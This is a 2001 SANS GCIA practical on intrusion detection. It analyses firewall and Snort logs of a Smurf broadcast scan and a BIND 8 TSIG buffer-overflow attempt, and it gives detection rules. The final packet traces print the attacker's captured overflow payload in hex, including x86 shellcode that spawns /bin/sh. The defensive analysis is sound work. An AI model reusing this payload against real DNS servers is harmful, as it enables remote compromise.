SANS GIAC Level Two – Intrusion Detection In Depth
GCIA Practical Assignment – SANS 2001 Baltimore
Practical Assignment Version 2.9 – May 22, 2001
Jeffrey A. Holland, GCIA/GCIH/GSEC
Table of Contents
INTRODUCTION
3
ASSIGNMENT 1 – NETWORK DETECTS
5
ASSIGNMENT 2 – DESCRIBE THE STATE OF INTRUSION DETECTION
37
ASSIGNMENT 3 – “ANALYZE THIS” SCENARIO
52
REFERENCES
102
APPENDIX A
103
APPENDIX B
106
2
Introduction
Network Topology and Hardware Specifics:
The following image depicts the topology of the network used to capture the detects in
Assignment 1.
The laptop running Snort version 1.7 was started in NIDS mode using the snort.org ruleset dated
4/4/01, the vision.conf rules located at http://www.whitehats.com/ids/vision.conf.gz, custom
rules written for my network based the prior attacks my network had received. SnortSnarf
version v052101.1 was used to analyze the alerts that Snort reported.
The Sun Ultra 60 running Snort version 1.7 was configured with a 6 GB var partition and
started with the following command: ./snort –dve –l /var/log/snort. The box had
a 400Mhz processor and 384MB RAM, and handled the full T1 traffic without any apparent
packet loss. Any interesting alerts from the laptop running Snort or from the firewall logs were
correlated against the data on the Ultra 60 running Snort in sniffer mode. All Snort packet traces
were taken from the Ultra 60 for inclusion in the practical.
While the ISS IDS sensor logs were not included in this practical, the alerts were correlated
against what Snort detected. In all cases, the information logged by Realsecure was less detailed
than Snort, so only the Snort IDS logged were included in the practical. Gauntlet firewall logs,
when available, were included as well.
The switch outside the firewall port mirrors all traffic to/from the internal network to the switch
ports that the IDS sensors are plugged into.
Gauntlet Firewall Log Messages:
Gauntlet firewall log messages are defined as follows according to NAI/PGP
3
(http://www.pgp.com/support/technical-support/faq.asp?pCode=GNTUX):
 The “no match in local screen” message occurs when someone on the outside network points
directly to an inside interface of the firewall.
 The “on unserved port” message occurs when someone tries to access the firewall on a port
that the firewall is not allowing connections on.
 The “packet denied by forward screen” message occurs when someone tries to connect to a
private internal host from an external public host on an unserved port, or when an ICMP
packet it sent from the external host to the internal host.
Examples of each of these log message types are shown below:
Jun 4 18:57:05 firewall.mycompany.com unix: securityalert: no match found in
local screen: TCP if=hme0 srcaddr=203.239.54.93 srcport=2636
dstaddr=a.b.c.134 dstport=53
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.6 on unserved port 54321
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.63
Snort IDS Log Messages:
Snort logs included in Assignments 1 and 2 were collected while running Snort with the d, v, and
e flags. These flags will cause Snort to run in verbose mode, and log all application and link
layer data. The Snort output contains all header and payload data. The payload data is shown in
both hex format and the ASCII translation of the hex data. An example is shown below:
06/04-18:05:49.988468 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.63 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C 3F
...?
Microsoft Access Database:
A database containing the Snort data for Assignment 3 was created using Access 97. The
database may be downloaded from the following URL:
http://web2.airmail.net/a0055941/gcia_v2.9_snort_db.ZIP. Note that the database is roughly
20MB in compressed .mdb format and 4 MB zipped.
4
Assignment 1 – Network Detects
Detect #1 – ICMP Echo Request Broadcast Smurf Scan
Gauntlet Firewall Logs:
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.63
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.64
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.128
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.191
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.192
Jun 4 18:13:54 firewall.mycompany.com unix: securityalert: packet denied by
forward screen: ICMP if=hme0 srcaddr=62.156.62.162 dstaddr=a.b.c.254
Note: The firewall did not record the packet sent to a.b.c.255. Since my firewall denies
all inbound and outbound ICMP echo replies and requests, and there was no evidence of
an echo reply to the attacker in the firewall logs, I am assuming syslog failed to log this
packet to the /var/log/messages file.
Snort Logs:
Note: The ICMP payload and destination IP address were sanitized. The payload actually
contained the destination IP address. However, the last octet of the IP address in the
payload was left intact, as it was in the destination address. Thus, the last byte of the
ICMP payload is the hex value of the last octet in the decimal representation of the
destination address (ie. "3F" in hex is "?" in ASCII).
06/04-18:05:49.988468 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.63 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C 3F
...?
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.016481 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.64 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C 40
...@
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
5
06/04-18:05:50.037793 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.127 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C 7F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.051438 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.128 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C 80
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.079689 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.191 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C BF
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.093392 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.192 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C C0
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.114644 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.254 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C FE
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:05:50.135531 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
62.156.62.162 -> a.b.c.255 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
0A 0B 0C FF
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Source of Trace:
This detect was obtained from the network I monitor at my present employer.
Detect Generated By:
The Gauntlet firewall detect was generated by a UNIX (Solaris 2.6) Gauntlet 5.5 firewall.
The Snort detect was generated by Snort version 1.7 using the snort.org ruleset available
at http://www.snort.org. The following Snort signature originally identified the attack:
alert icmp any any <> any any (msg:"ICMP Broadscan Smurf
Scanner"; itype: 8; icmp_id: 0; icmp_seq: 0; dsize:4; )
6
Probability the Source Address was Spoofed:
While almost all Smurf attacks are spoofed, I believe this attack was not. The attacker
appears to be doing reconnaissance scanning of my variably subnetted class C network
for use as a Smurf amplifier. When I did a traceroute to the source IP address of the
packets from a machine on the external side of my firewall, the host was 16 hops away.
Note that the TLL in the packets is 240, so the attacker was no more than 15 hops away.
A difference of one hop is very small, and lends support to the conjecture that the source
address was not spoofed.
In addition, the IP address resolves to an address owned by Deutsche Telekom, one of
Germany’s largest ISP’s. Since the network I monitor typically receives blatant and
hostile attacks from various foreign countries, one of which is Germany, the probability
these packets were spoofed is very low.
Description of the Attack:
This is a Smurf broadcast scan against suspected broadcast addresses in a variably
subnetted class C network. Snort originally identified this as scan possibly produced by
the tool Broadscan. However, after careful review of the packets and both versions of
Broadscan (broadscan.c and broadscan05.c), I believe a different tool called SendIP was
used. This scanning technique, and the tool SendIP, is addressed in detail in
Assignment 2 of this practical.
There is not a specific CVE entry for Smurf broadcast scanning, but there is one that
addresses allowing ICMP echo requests to broadcast addresses. The URL is:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513. Also, a more general
CERT advisory on Smurf attacks is available at the following URL:
http://www.cert.org/advisories/CA-1998-01.html. Note that an attacker could Smurf
themselves and the network they reside on while doing Smurf broadcast scanning, so
these advisories do indeed apply to this attack.
Attack Mechanism:
What differentiates this scan, which I’ll coin the “Netmask-based ICMP Echo Request
Smurf Broadcast Scan with Crafted ICMP Payloads” attack, is the crafted payload. The
attacker uses a tool, such as SendIP, to modify the ICMP payload to contain the
destination IP address. The rationale behind this is that the echo reply packet must return
the payload data sent in the echo request packet, and therefore the attacker will know
which broadcast address is legitimate. The attacker also sends an echo request packet to
the network address of the suspected subnet. This aids the attacker in correctly
identifying the subnetmask used to variably subnet the network. In addition, since Cisco
routers echo the IP ID of the echo request packet in the echo reply and use a default TTL
of 255 (like Solaris), limited OS fingerprinting analysis can be performed by the attacker.
7
Once the attacker maps the network and discovers the broadcast and network addresses
that reply, they can be used in a Smurf amplification attack. This attack is a simple but
very effective DoS (Denial of Service) attack against the victim. Most often, the attacker
spoofs the ICMP echo request packets using an unsuspecting third party’s IP address as
the source IP address. If the third party is unaware their IP address is being used in the
attack, and most often they are, they are themselves a victim of the attack. When the third
party receives ICMP echo requests to its broadcast address with a destination IP address
of the victim, all the third party machines that respond to broadcast pings from the subnet
to which the broadcast address belongs flood the victim with ICMP echo replies. The
third party’s echo replies then consume the victim’s bandwidth to the point that their
network is possibly unusable.
Correlations:
Chris Kuethe reported similar traffic to his network in his GCIA practical
(http://www.sans.org/y2k/practical/chris_kuethe_gcia.html#1.4). One fact Chris
mentioned that I was not aware of is that “3dns and other load-balancers often seem to
put the IP address of whatever they're probing in the payload.” [9]. This does not appear
to be the case with my detect.
In the packet trace, the TOS was set to 0xC0, or decimal 192. The TOS field, according
to Stevens in "TCP/IP Illustrated, Volume 1" cannot take on this value in non-corrupted,
uncrafted IP header. More specifically, the low order bit of the 8-bit TOS field must be
zero, and the first 3-bits are ignored in IPv4 today [2]. Thus, only the remaining 4-bits are
to be used, and only one of the four bits can be turned on [2]. Given these facts, the TOS
should never have a value a greater than decimal 16 or hex 0x10 (achieved when the high
order bit of the 4-bit chunk is turned on).
However, according to http://project.honeynet.org/papers/finger/traces.txt, packets
originating from a Cisco router use a TOS of 192, which is useful for doing passive
fingerprinting. Do note that Cisco normally uses a IP ID of 0, which is not the case here.
All the packets had an IP ID of 1206 and an ICMP ID and sequence number of 0. Since
the packets all arrived within milliseconds of each other, the probability that the IP ID
could be 1206 in every packet is very small. This is additional evidence of crafting by an
attacker.
A search of the SANS CID (Consensus Intrusion Database) did not yield any hits. URL:
http://www.incidents.org/cid/search.php. Search parameter: Source IP = 62.156.62.162.
Evidence of Active Targeting:
This could be a Smurf attack, but again it is unlikely. If it was, it was definitely targeted
against my network or at my company in general. Assuming this was a Smurf broadcast
scan, this attack was doing active targeting due to the packet payload and odd values in
several of the IP and ICMP header fields.
8
Severity:
Criticality – None of the hosts in the network responded to this scan. However, had any
host responded and was subsequently used as a Smurf amplifier, the incident would have
had political, if not legal, repercussions for the company (and my career). Criticality = 3.
Lethality – This scan did not do any damage, but it could have resulted in the attacker
mapping the network, or have even caused a DoS condition. Lethality = 3.
System Countermeasures – System countermeasures existed on the router (the command
no ip directed-broadcast was applied to all interfaces), the firewall does not
respond to echo requests, and all external machines behind the router and in front of the
firewall do not accept connections from the Internet. However, all internal UNIX
machines will respond to an echo request sent to the broadcast or network address.
System Countermeasures = 3.
Network Countermeasures – The router does not accept directed broadcast pings, the
firewall denies all inbound and outbound echo requests and replies, and was running the
latest version of Bind (8.2.3-REL). Network Countermeasures = 5.
(Criticality + Lethality) –
(System Countermeasures + Network Countermeasures) = Severity
(3 + 3) – (3 + 5) = -2
Defensive Recommendation:
The internal UNIX machines should be configured to not respond to an ICMP echo
request in the unlikely event the firewall is compromised. In addition, the Snort box
running in NIDS mode should have the following signature added to its local.rules file
(after modifying the content string):
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP
Echo Request SendIP Smurf Scanner and Subnet Broadcast
Recon"; itype:8; icmp_id:0; icmp_seq:0; content: "| The
first two or three octets of your IP block in here, in
hex, without spaces. See the note below. |";)
Note: If your IP block is the class C network 192.168.1 or the class B network
192.168, the content string should be: “|C0A801|” or “|C0A8|”, respectively.
Multiple Choice Test Question:
Which of the following is most likely to indicate a maliciously-crafted ICMP echorequest?
9
a)
b)
c)
d)
The destination IP address is embedded in the ICMP payload
The TOS value is greater than decimal 16, or hex 0x10
The IP ID is 0
The ICMP sequence number is 0
Answer - The best answer is (b). The destination address could appear in the payload
(3dns and load balancers can create this kind of traffic), and the IP ID ICMP sequence
numbers can be zero in an uncrafted packet. However, a TOS value greater than decimal
16 indicates either the packet was crafted or was created by an OS that uses a nonstandard TOS value (such as Cisco IOS 12.0).
Detect #2 – DNS Named Version Request and BIND 8 TSIG BufferOverflow Attempt
Gauntlet Firewall Logs:
Jun 4 18:57:05 firewall.mycompany.com unix: securityalert: no match found in
local screen: TCP if=hme0 srcaddr=203.239.54.93 srcport=2636
dstaddr=a.b.c.134 dstport=53
Jun 4 18:57:06 firewall.mycompany.com unix: securityalert: no match found in
local screen: TCP if=hme0 srcaddr=203.239.54.93 srcport=2641
dstaddr=a.b.c.139 dstport=53
Snort Logs:
06/04-18:49:01.105694 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:2636 -> a.b.c.134:53 TCP TTL:48 TOS:0x0 ID:54865 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB92DCE6D Ack: 0x0 Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 149957298 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:02.354439 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:2641 -> a.b.c.139:53 TCP TTL:48 TOS:0x0 ID:55337 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB93A3F09 Ack: 0x0 Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 149957427 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:05.344955 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:2641 -> a.b.c.139:53 TCP TTL:48 TOS:0x0 ID:56322 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB93A3F09 Ack: 0x0 Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 149957727 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:08.558559 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:3131 -> a.b.c.229:53 TCP TTL:48 TOS:0x0 ID:56931 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB9E3E5C6 Ack: 0x0 Win: 0x7D78 TcpLen: 40
10
TCP Options (5) => MSS: 1460 SackOK TS: 149958046 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:08.558736 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x4A
a.b.c.229:53 -> 203.239.54.93:3131 TCP TTL:255 TOS:0x0 ID:34744 IpLen:20
DgmLen:60 DF
***A**S* Seq: 0x16B9584F Ack: 0xB9E3E5C7 Win: 0x2798 TcpLen: 40
TCP Options (6) => NOP NOP TS: 108073138 149958046 NOP WS: 0
TCP Options => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:11.344718 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:2641 -> a.b.c.139:53 TCP TTL:48 TOS:0x0 ID:58227 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB93A3F09 Ack: 0x0 Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 149958327 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:11.538454 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x4A
203.239.54.93:3131 -> a.b.c.229:53 TCP TTL:48 TOS:0x0 ID:58240 IpLen:20
DgmLen:60 DF
******S* Seq: 0xB9E3E5C6 Ack: 0x0 Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 149958346 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:11.538621 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x42
a.b.c.229:53 -> 203.239.54.93:3131 TCP TTL:255 TOS:0x0 ID:34903 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x16B95850 Ack: 0xB9E3E5C7 Win: 0x2798 TcpLen: 32
TCP Options (3) => NOP NOP TS: 108073436 149958046
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:12.051970 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x4A
a.b.c.229:53 -> 203.239.54.93:3131 TCP TTL:255 TOS:0x0 ID:34924 IpLen:20
DgmLen:60 DF
***A**S* Seq: 0x16B9584F Ack: 0xB9E3E5C7 Win: 0x2798 TcpLen: 40
TCP Options (6) => NOP NOP TS: 108073488 149958046 NOP WS: 0
TCP Options => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:12.275333 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x42
203.239.54.93:3131 -> a.b.c.229:53 TCP TTL:48 TOS:0x0 ID:58616 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xB9E3E5C7 Ack: 0x16B95850 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 149958419 108073488
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.470766 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x48
203.239.54.93:2212 -> a.b.c.229:53 UDP TTL:48 TOS:0x0 ID:59035 IpLen:20
DgmLen:58
Len: 38
11
4F A0 00 00 00 01 00 00 00 00 00 00 07 76 65 72
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03
O............ver
sion.bind.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.471120 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x69
a.b.c.229:53 -> 203.239.54.93:2212 UDP TTL:255 TOS:0x0 ID:34971 IpLen:20
DgmLen:91 DF
Len: 71
4F A0 84 80 00 01 00 01 00 00 00 00 07 76 65 72 O............ver
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03 07 56 sion.bind......V
45 52 53 49 4F 4E 04 42 49 4E 44 00 00 10 00 03 ERSION.BIND.....
00 00 00 00 00 09 08 43 72 61 79 20 43 39 30
.......Cray C90
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.698376 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x1FB
203.239.54.93:2212 -> a.b.c.229:53 UDP TTL:48 TOS:0x0 ID:59045 IpLen:20
DgmLen:493
Len: 473
4F A0 09 80 00 00 00 01 00 00 00 00 3E 41 41 41 O...........>AAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 3E 42 42 42 42 AAAAAAAAAAA>BBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 3E 43 43 43 43 43 BBBBBBBBBB>CCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 3E 00 01 02 03 04 05 CCCCCCCCC>......
06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
36 37 38 39 3A 3B 3C 3D 3E 45 45 45 45 45 45 45 6789:;<=>EEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 3E 46 46 46 46 46 46 46 46 EEEEEEE>FFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
46 46 46 46 46 46 3D 47 47 47 47 47 47 47 47 47 FFFFFF=GGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
47 47 47 47 00 00 01 00 01 00 00 00 01 00 FF 40 GGGG...........@
66
f
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.698723 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x3C
a.b.c.229:53 -> 203.239.54.93:2212 UDP TTL:255 TOS:0x0 ID:34979 IpLen:20
DgmLen:40 DF
Len: 20
12
4F A0 89 81 00 00 00 00 00 00 00 00
O...........
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.924807 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x228
203.239.54.93:2212 -> a.b.c.229:53 UDP TTL:48 TOS:0x0 ID:59049 IpLen:20
DgmLen:538
Len: 518
4F A0 00 00 00 01 00 00 00 00 00 01 3C 90 89 E6 O...........<...
83 C6 40 C7 06 02 00 0B AC C7 46 04 97 C4 47 A0 [email protected].
31 C0 89 46 08 89 46 0C 31 C0 89 46 28 40 89 46 1..F..F.1..F(@.F
24 40 89 46 20 8D 4E 20 31 DB 43 31 C0 83 C0 66 [email protected] .N 1.C1...f
51 53 50 CD 80 89 46 20 90 3C 90 8D 06 89 46 24 QSP...F .<....F$
31 C0 83 C0 10 89 46 28 58 5B 59 43 43 FF 76 20 1.....F(X[YCC.v
CD 80 5B 4F 74 32 8B 04 24 89 46 08 90 BD CB EF ..[Ot2..$.F.....
36 5D 89 6E 04 C7 06 03 80 35 86 B8 04 00 00 00 6].n.....5......
8D 0E 31 D2 83 C2 0C CD 80 C7 06 02 00 61 AE 89 ..1..........a..
6E 04 90 31 FF 47 EB 88 90 31 C0 83 C0 3F 31 C9 n..1.G...1...?1.
50 CD 80 58 41 CD 80 C7 06 2F 62 69 6E C7 46 04 P..XA..../bin.F.
2F 73 68 00 89 F0 83 C0 08 89 46 08 31 C0 89 46 /sh.......F.1..F
0C B0 0B 8D 56 0C 8D 4E 08 89 F3 CD 80 31 C0 40 ....V..N.....1.@
CD 80 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 ..>AAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 3E 42 42 42 42 42 42 42 42 42 42 42 42 42 42 A>BBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
03 43 43 43 10 06 00 00 00 B7 FD FF FF E3 FF FF .CCC............
FF 00 FF FF FF 3E 41 41 41 41 41 41 41 41 41 41 .....>AAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 3E 42 42 42 42 42 42 42 42 42 42 42 AAAA>BBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
42 42 42 10 43 43 43 43 43 43 43 43 43 43 43 43 BBB.CCCCCCCCCCCC
43 43 43 43 00 00 01 00 01 00 00 FA 00 FF
CCCC..........
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:13.925166 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x52
a.b.c.229:53 -> 203.239.54.93:2212 UDP TTL:255 TOS:0x0 ID:34981 IpLen:20
DgmLen:68 DF
Len: 48
4F A0 80 89 00 00 00 00 00 00 00 01 00 00 FA 00 O...............
FF 00 00 00 00 00 11 00 00 00 3B 1C 20 5E 01 2C ..........;. ^.,
00 00 4F A0 00 11 00 00
..O.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
